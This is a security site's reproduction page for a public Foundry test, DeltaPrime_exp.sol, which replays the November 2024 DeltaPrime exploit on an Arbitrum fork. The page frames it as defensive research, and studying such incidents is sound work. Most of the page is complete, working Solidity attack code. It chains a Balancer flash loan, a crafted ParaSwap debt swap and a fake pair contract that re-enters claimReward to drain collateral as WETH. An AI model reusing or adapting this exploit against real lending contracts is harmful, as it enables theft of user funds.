Skip to content
THREATWIRE

Public reproduction file

src/test/2024-11/DeltaPrime_exp.sol

Public reproduction file for dataset entry DeltaPrime.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/DeltaPrime_exp.sol248 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : $4.75M
8// Attacker : https://arbiscan.io/address/0xb87881637b5c8e6885c51ab7d895e53fa7d7c567
9// Attack Contract : https://arbiscan.io/address/0x0b2bcf06f740c322bc7276b6b90de08812ce9bfe
10// Vulnerable Contract : https://arbiscan.io/address/0x62cf82fb0484af382714cd09296260edc1dc0c6c
11// Attack Tx : https://arbiscan.io/tx/0x6a2f989b5493b52ffc078d0a59a3bf9727d134b403aa6e0bf309fd513a728f7f
13interface ISmartLoansFactoryTUP {
14 function createLoan() external returns (address);
17interface ISmartLoan {
18 function swapDebtParaSwap(
19 bytes32 _fromAsset,
20 bytes32 _toAsset,
21 uint256 _repayAmount,
22 uint256 _borrowAmount,
23 bytes4 selector,
24 bytes memory data
25 ) external;
27 function claimReward(address pair, uint256[] calldata ids) external;
29 function wrapNativeToken(
30 uint256 amount
31 ) external;
33 function isSolvent() external returns (bool);
36interface ISimpleSwap {
37 struct SimpleData {
38 address fromToken;
39 address toToken;
40 uint256 fromAmount;
41 uint256 toAmount;
42 uint256 expectedAmount;
43 address[] callees;
44 bytes exchangeData;
45 uint256[] startIndexes;
46 uint256[] values;
47 address beneficiary;
48 address partner;
49 uint256 feePercent;
50 bytes permit;
51 uint256 deadline;
52 bytes16 uuid;
53 }
55 function simpleSwap(
56 SimpleData memory swapData
57 ) external;
60contract DeltaPrimeExp is Test {
61 IWETH WETH = IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));
62 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
63 ISmartLoansFactoryTUP SmartLoansFactoryTUP = ISmartLoansFactoryTUP(0xFf5e3dDaefF411a1dC6CcE00014e4Bca39265c20);
64 ISmartLoan SmartLoan;
65 FakePairContract fakePairContract;
66 uint256 flashLoanAmount;
68 address ETHER = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
69 bytes32 _fromAsset = 0x5553444300000000000000000000000000000000000000000000000000000000;
70 bytes32 _toAsset = 0x4554480000000000000000000000000000000000000000000000000000000000;
71 uint256 _repayAmount = 0;
72 uint256 _borrowAmount = 66_619_545_304_650_988_218;
73 bytes4 selector = ISimpleSwap.simpleSwap.selector;
75 function setUp() external {
76 vm.deal(address(this), 0 ether);
77 vm.createSelectFork("arbitrum", 273_278_741);
78 vm.label(address(WETH), "WETH");
79 vm.label(address(Balancer), "Balancer");
80 vm.label(address(SmartLoansFactoryTUP), "SmartLoansFactoryTUP");
81 }
83 function testExploit() external {
84 emit log_named_decimal_uint(
85 "Attacker WETH balance before exploit", WETH.balanceOf(address(this)), WETH.decimals()
86 );
88 SmartLoan = ISmartLoan(SmartLoansFactoryTUP.createLoan()); // create an attacker position contract
89 vm.label(address(SmartLoan), "SmartLoan");
90 fakePairContract = new FakePairContract(); // create a fakePair contract
91 vm.label(address(fakePairContract), "fakePairContract");
93 address[] memory tokens = new address[](1);
94 tokens[0] = address(WETH);
95 uint256[] memory amounts = new uint256[](1);
96 amounts[0] = WETH.balanceOf(address(Balancer));
97 flashLoanAmount = amounts[0];
98 bytes memory userData = "";
99 Balancer.flashLoan(address(this), tokens, amounts, userData);
101 emit log_named_decimal_uint(
102 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
103 );
104 }
106 function convertETH() external {
107 string memory priceDataPath = "./src/test/2024-11/DelatPrimePriceData.txt";
108 bytes memory priceData = vm.parseBytes(vm.readFile(priceDataPath));
109 bytes memory wrapNativeTokenData =
110 abi.encodePacked(abi.encodeCall(ISmartLoan.wrapNativeToken, (address(SmartLoan).balance)), priceData);
112 address(SmartLoan).call(wrapNativeTokenData); // convert collateral eth to weth, claim weth as reward asset
113 // SmartLoan.wrapNativeToken(address(SmartLoan).balance);
114 }
116 function receiveFlashLoan(
117 address[] memory tokens,
118 uint256[] memory amounts,
119 uint256[] memory feeAmounts,
120 bytes memory userData
121 ) external {
122 WETH.withdraw(WETH.balanceOf(address(this))); // withdraw weth to eth
124 address(SmartLoan).call{value: address(this).balance}(""); // transfer eth to SmartLoan as collateral
126 bytes memory data = castCallData();
127 string memory priceDataPath = "./src/test/2024-11/DelatPrimePriceData.txt";
128 bytes memory priceData = vm.parseBytes(vm.readFile(priceDataPath));
129 bytes memory swapDebtParaSwapData = abi.encodePacked(
130 abi.encodeCall(
131 ISmartLoan.swapDebtParaSwap, (_fromAsset, _toAsset, _repayAmount, _borrowAmount, selector, data)
132 ),
133 priceData
134 );
136 address(SmartLoan).call(swapDebtParaSwapData); // SmartLoan borrow eth,
137 // SmartLoan.swapDebtParaSwap(_fromAsset, _toAsset, _repayAmount, _borrowAmount, selector, data)
139 uint256[] memory ids = new uint256[](1);
140 ids[0] = 0;
141 bytes memory claimRewardData =
142 abi.encodePacked(abi.encodeCall(ISmartLoan.claimReward, (address(fakePairContract), ids)), priceData);
144 address(SmartLoan).call(claimRewardData); // trigger reenter attack, convert collateral and debt eth to weth and claim as reward
145 // SmartLoan.claimReward(address(fakePairContract), ids);
147 WETH.transfer(address(Balancer), flashLoanAmount);
148 }
150 receive() external payable {}
152 function castCallData() internal returns (bytes memory) {
153 address[] memory callee = new address[](1);
154 callee[0] = address(WETH);
155 bytes memory exchangeDatas = abi.encodeWithSignature("withdraw(uint256)", _borrowAmount);
156 uint256[] memory startIndexe = new uint256[](2);
157 startIndexe[0] = 0;
158 startIndexe[1] = 36;
159 uint256[] memory value = new uint256[](1);
160 value[0] = 0;
161 ISimpleSwap.SimpleData memory swapData = ISimpleSwap.SimpleData({
162 fromToken: address(WETH),
163 toToken: ETHER,
164 fromAmount: _borrowAmount,
165 toAmount: _borrowAmount,
166 expectedAmount: _borrowAmount,
167 callees: callee,
168 exchangeData: exchangeDatas,
169 startIndexes: startIndexe,
170 values: value,
171 beneficiary: address(0),
172 partner: address(0),
173 feePercent: uint256(0),
174 permit: "",
175 deadline: 1_000_000_000_000_000,
176 uuid: 0x8c933246c370415fafa74eaed5e8acf9
177 });
178 bytes memory swapDatas = abi.encode(swapData);
179 return swapDatas;
180 }
183contract FakePairContract {
184 address attackContract;
185 address WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
187 struct Parameters {
188 address hooks;
189 bool beforeSwap;
190 bool afterSwap;
191 bool beforeFlashLoan;
192 bool afterFlashLoan;
193 bool beforeMint;
194 bool afterMint;
195 bool beforeBurn;
196 bool afterBurn;
197 bool beforeBatchTransferFrom;
198 bool afterBatchTransferFrom;
199 }
201 constructor() {
202 attackContract = msg.sender;
203 }
205 bytes32 internal constant BEFORE_SWAP_FLAG = bytes32(uint256(1 << 160));
206 bytes32 internal constant AFTER_SWAP_FLAG = bytes32(uint256(1 << 161));
207 bytes32 internal constant BEFORE_FLASH_LOAN_FLAG = bytes32(uint256(1 << 162));
208 bytes32 internal constant AFTER_FLASH_LOAN_FLAG = bytes32(uint256(1 << 163));
209 bytes32 internal constant BEFORE_MINT_FLAG = bytes32(uint256(1 << 164));
210 bytes32 internal constant AFTER_MINT_FLAG = bytes32(uint256(1 << 165));
211 bytes32 internal constant BEFORE_BURN_FLAG = bytes32(uint256(1 << 166));
212 bytes32 internal constant AFTER_BURN_FLAG = bytes32(uint256(1 << 167));
213 bytes32 internal constant BEFORE_TRANSFER_FLAG = bytes32(uint256(1 << 168));
214 bytes32 internal constant AFTER_TRANSFER_FLAG = bytes32(uint256(1 << 169));
216 function encode(
217 Parameters memory parameters
218 ) internal pure returns (bytes32 hooksParameters) {
219 hooksParameters = bytes32(uint256(uint160(address(parameters.hooks))));
221 if (parameters.beforeSwap) hooksParameters |= BEFORE_SWAP_FLAG;
222 if (parameters.afterSwap) hooksParameters |= AFTER_SWAP_FLAG;
223 if (parameters.beforeFlashLoan) hooksParameters |= BEFORE_FLASH_LOAN_FLAG;
224 if (parameters.afterFlashLoan) hooksParameters |= AFTER_FLASH_LOAN_FLAG;
225 if (parameters.beforeMint) hooksParameters |= BEFORE_MINT_FLAG;
226 if (parameters.afterMint) hooksParameters |= AFTER_MINT_FLAG;
227 if (parameters.beforeBurn) hooksParameters |= BEFORE_BURN_FLAG;
228 if (parameters.afterBurn) hooksParameters |= AFTER_BURN_FLAG;
229 if (parameters.beforeBatchTransferFrom) hooksParameters |= BEFORE_TRANSFER_FLAG;
230 if (parameters.afterBatchTransferFrom) hooksParameters |= AFTER_TRANSFER_FLAG;
231 }
233 function getLBHooksParameters() external returns (bytes32) {
234 Parameters memory para =
235 Parameters(address(this), false, false, false, false, false, false, false, false, false, false);
236 return encode(para);
237 }
239 function claim(address user, uint256[] calldata ids) external {
240 attackContract.call(abi.encodeWithSelector(DeltaPrimeExp.convertETH.selector, ""));
241 }
243 function getRewardToken() external returns (address) {
244 return WETH;
245 }
247 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “DeltaPrime” (2024-11-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb87881637b5c8e6885c51ab7d895e53fa7d7c567

  • Attack Contract

    0x0b2bcf06f740c322bc7276b6b90de08812ce9bfe

  • Vulnerable Contract

    0x62cf82fb0484af382714cd09296260edc1dc0c6c

  • Attack Tx

    0x6a2f989b5493b52ffc078d0a59a3bf9727d134b403aa6e0bf309fd513a728f7f

File record

Name
DeltaPrime
Path
src/test/2024-11/DeltaPrime_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8a26e4c273df296098cdfeaaeb262bf766fd8728
Language
Solidity
Size
249 lines
Date
2024-11-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/DeltaPrime_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8a26e4c273df296098cdfeaaeb262bf766fd8728, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.